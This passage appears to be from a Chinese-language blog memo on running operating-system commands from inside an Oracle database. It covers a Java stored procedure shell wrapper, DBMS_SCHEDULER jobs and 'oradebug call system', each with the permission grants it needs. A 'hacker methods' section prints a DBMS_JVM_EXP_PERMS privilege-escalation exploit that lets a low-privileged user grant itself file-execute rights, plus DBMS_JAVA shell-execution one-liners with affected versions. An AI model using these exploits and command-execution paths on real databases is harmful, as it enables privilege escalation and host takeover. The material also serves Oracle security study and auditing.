44
45
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;

public class JAVACMD
{
public static void execCommand (String command) throws IOException
{
try {
String[] finalCommand;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
finalCommand = new String[4];
finalCommand[0] = "C:\\windows\\system32\\cmd.exe";
finalCommand[1] = "/y";
finalCommand[2] = "/c";
finalCommand[3] = command;
} else {
finalCommand = new String[3];
finalCommand[0] = "/bin/sh";
finalCommand[1] = "-c";
finalCommand[2] = command;
}
Process p = Runtime.getRuntime().exec(finalCommand);
if (p.waitFor() != 0) {
if (p.exitValue() == 1)
System.err.println("command execute failed.");
}
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
System.out.println(lineStr);
inBr.close();
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}
};
/

CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVACMD.execCommand (java.lang.String)';
/

1.1.2 设置输出

1
2
set serveroutput on size 100000;
exec dbms_java.set_output(100000);

1.1.3 需要的权限

可以使用下面的语句查询相关权限

  • 用户权限
1
select * from session_privs;
  • JAVA 权限
1
2
select * from dba_java_policy;
select * from user_java_policy;

使用java代码执行系统命令需要的权限,可以使用下面语句进行授权:

1
2
3
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

1.1.4 实验结果

非常不错支持回显。

1
2
3
4
5
SQL> exec javacmdproc('/bin/uname -a');
Linux localhost.localdomain 2.6.32-100.34.1.el6uek.i686 #1 SMP Wed May 25
17:28:36 EDT 2011 i686 i686 i386 GNU/Linux

PL/SQL procedure successfully completed.

1.1.5 注意

需要使用全路径

1.2 DBMS_SCHEDULAR

1.2.1 DBMS_SCHEDULAR 简介

这个和Windows上的计划任务类似。

1.2.2 需要的权限

  1. CREATE JOB
  2. CREATE EXTERNAL JOB
  3. EXECUTE on dbms_scheduler (granted to public by default)

grant create job, create external job to scott ;

1.2.3 执行的语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
BEGIN
DBMS_SCHEDULER.CREATE_PROGRAM (
program_name=> 'MyCmd',
program_type=> 'EXECUTABLE',
-- Use the ampersand to break out
program_action => '/tmp/a.sh',
enabled=> TRUE,
comments=> 'Run a command using shell metacharacters.'
);
END;
/

BEGIN
DBMS_SCHEDULER.CREATE_JOB (
job_name=> 'X',
program_name=> 'MyCmd',
repeat_interval=> 'FREQ=SECONDLY;INTERVAL=10',
enabled=> TRUE,
comments=> 'Every 10 seconds');
END;
/

exec DBMS_SCHEDULER.RUN_JOB ( job_name=> 'X');

1.2.4 注意

  1. 原先使用 || 等 metacharacters 的bug已经修复,只能使用参数
  2. Windows系统必须开启OracleJobSchedulerSID 服务
  3. Linux系统上相关文件的权限必须正确
  4. 高版本的Linux,执行的group已经被Oracle将为nobody

总之这个方法局限行很大,不推荐使用,列在这里只是做一个备忘。

1.3 使用oradebug

  • oradebug 简介
    oradebug是一个神奇的命令, 能干很多活, 但是Oracle却很少提及,属于undocumented
    状态,是给oracle的工程师使用的,主要用于调试和性能调优。可以使用 oradebug help
    命令,查看oradebug的用法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
SQL> oradebug help
HELP [command] Describe one or all commands
SETMYPID Debug current process
SETOSPID <ospid> Set OS pid of process to debug
SETORAPID <orapid> ['force'] Set Oracle pid of process to debug
SETORAPNAME <orapname> Set Oracle process name to debug
SHORT_STACK Get abridged OS stack
CURRENT_SQL Get current SQL
DUMP <dump_name> <lvl> [addr] Invoke named dump
DUMPSGA [bytes] Dump fixed SGA
DUMPLIST Print a list of available dumps
EVENT <text> Set trace event in process
SESSION_EVENT <text> Set trace event in session
DUMPVAR <p|s|uga> <name> [level] Print/dump a fixed PGA/SGA/UGA variable
DUMPTYPE <address> <type> <count> Print/dump an address with type info
SETVAR <p|s|uga> <name> <value> Modify a fixed PGA/SGA/UGA variable
PEEK <addr> <len> [level] Print/Dump memory
POKE <addr> <len> <value> Modify memory
WAKEUP <orapid> Wake up Oracle process
SUSPEND Suspend execution
RESUME Resume execution
FLUSH Flush pending writes to trace file
CLOSE_TRACE Close trace file
TRACEFILE_NAME Get name of trace file
LKDEBUG Invoke global enqueue service debugger
NSDBX Invoke CGS name-service debugger
-G <Inst-List | def | all> Parallel oradebug command prefix
-R <Inst-List | def | all> Parallel oradebug prefix (return output
SETINST <instance# .. | all> Set instance list in double quotes
SGATOFILE <SGA dump dir> Dump SGA to file; dirname in double quotes
DMPCOWSGA <SGA dump dir> Dump & map SGA as COW; dirname in double quotes
MAPCOWSGA <SGA dump dir> Map SGA as COW; dirname in double quotes
HANGANALYZE [level] [syslevel] Analyze system hang
FFBEGIN Flash Freeze the Instance
FFDEREGISTER FF deregister instance from cluster
FFTERMINST Call exit and terminate instance
FFRESUMEINST Resume the flash frozen instance
FFSTATUS Flash freeze status of instance
SKDSTTPCS <ifname> <ofname> Helps translate PCs to names
WATCH <address> <len> <self|exist|all|target> Watch a region of memory
DELETE <local|global|target> watchpoint <id> Delete a watchpoint
SHOW <local|global|target> watchpoints Show watchpoints
DIRECT_ACCESS <set/enable/disable command | select query> Fixed table access
CORE Dump core without crashing process
IPC Dump ipc information
UNLIMIT Unlimit the size of the trace file
PROCSTAT Dump process statistics
CALL [-t count] <func> [arg1]...[argn] Invoke function with arguments

功能非常丰富, 下面我们用到的是 CALL 可以直接调用oracle进程使用的函数。

执行的语句

oradebug setmypid; oradebug call system "/usr/bin/whoami >/tmp/ret";

注意

  1. 这里权限要求是SYSDBA
  2. 双引号里必须是使用TAB而不能使用空格
  3. Linux 和 Windows 下的ORACLE都能利用成功

2. 黑客方法

下面用到的两个方法是David Litchfield 在Blackhat DC 2010 上公开两个方法,通过逆向
发现。结合DBMS_JVM_EXP_PERMS的漏洞可以直接执行系统命令(DBMS_JVM_EXP_PERMS 漏洞
已经被被修复)

1
2
3
4
5
6
7
8
9
10
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,'java.io.FilePermission’,’<<ALL FILES>>‘,’execute’,'ENABLED’ from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

在有漏洞的DBMS_JVM_EXP_PERMS package的Oracle上执行上述语句,有create session
权限的用户可以给自己授权所有java 权限。

2.1 DBMS_JAVA_TEST.FUNCALL

2.1.1 执行的语句

1
Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual;

2.1.2 需要的权限

1
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');

2.1.3 受影响系统

11g R1, 11g R2

2.2 DBMS_JAVA.RUNJAVA

2.2.1 执行的语句

1
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL;

2.2.2 需要的权限

1
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');

2.2.3 受影响系统

10g R2, 11g R1, 11g R2

参考链接

  1. Using Java to run os command
  2. DBMS_SCHEDULER
  3. oradebug
  4. BlackHat-DC-2010-Litchfield-Oracle11g
  5. Hacking Oracle from the Web